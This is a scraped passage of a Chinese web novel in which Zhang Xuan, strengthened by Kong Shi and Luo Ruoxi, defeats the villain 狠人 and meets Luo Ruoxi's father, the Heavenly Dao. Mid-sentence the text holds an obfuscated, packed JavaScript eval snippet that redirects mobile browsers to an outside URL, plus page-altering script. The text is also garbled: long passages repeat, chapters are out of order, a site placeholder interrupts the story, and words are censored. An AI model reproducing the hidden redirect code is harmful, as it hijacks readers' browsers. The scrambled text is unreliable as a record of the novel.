“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546027|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第55章尔等可知,何为空悬龙椅 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? 